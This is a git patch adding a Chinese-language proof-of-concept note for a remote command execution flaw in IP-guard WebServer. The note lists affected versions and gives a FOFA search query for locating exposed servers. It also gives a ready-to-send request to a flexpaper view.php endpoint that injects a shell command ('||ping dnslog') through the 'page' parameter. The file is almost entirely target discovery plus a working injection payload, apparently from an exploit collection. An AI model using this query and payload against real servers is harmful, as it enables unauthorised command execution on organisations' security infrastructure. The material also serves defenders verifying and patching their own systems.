From 179f29859c7df346fb7de3c2065eed3eb77f9eca Mon Sep 17 00:00:00 2001 From: wy876 <139549762+wy876@users.noreply.github.com> Date: Thu, 9 Nov 2023 16:54:46 +0800 Subject: [PATCH] =?UTF-8?q?Create=20IP-guard=20WebServer=20=E8=BF=9C?= =?UTF-8?q?=E7=A8=8B=E5=91=BD=E4=BB=A4=E6=89=A7=E8=A1=8C=E6=BC=8F=E6=B4=9E?= =?UTF-8?q?.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- IP-guard WebServer 远程命令执行漏洞.md | 22 ++++++++++++++++++++++ 1 file changed, 22 insertions(+) create mode 100644 IP-guard WebServer 远程命令执行漏洞.md diff --git a/IP-guard WebServer 远程命令执行漏洞.md b/IP-guard WebServer 远程命令执行漏洞.md new file mode 100644 index 0000000..ae5ba33 --- /dev/null +++ b/IP-guard WebServer 远程命令执行漏洞.md @@ -0,0 +1,22 @@ +## IP-guard WebServer 远程命令执行漏洞 +IP-guard是由溢信科技股份有限公司开发的一款终端安全管理软件,旨在帮助企业保护终端设备安全、数据安全、管理网络使用和简化IT系统管理。 + +## 影响版本 +``` +< IP-guard WebServer 4.81.0307.0 +``` + +## fofa +``` +"IP-guard" && icon_hash="2030860561" +``` + +## poc +``` +/ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||ping%20dnslog +``` + +## 漏洞复现 + +![](./assets/20231109165256.png) +![](./assets/20231109165333.png)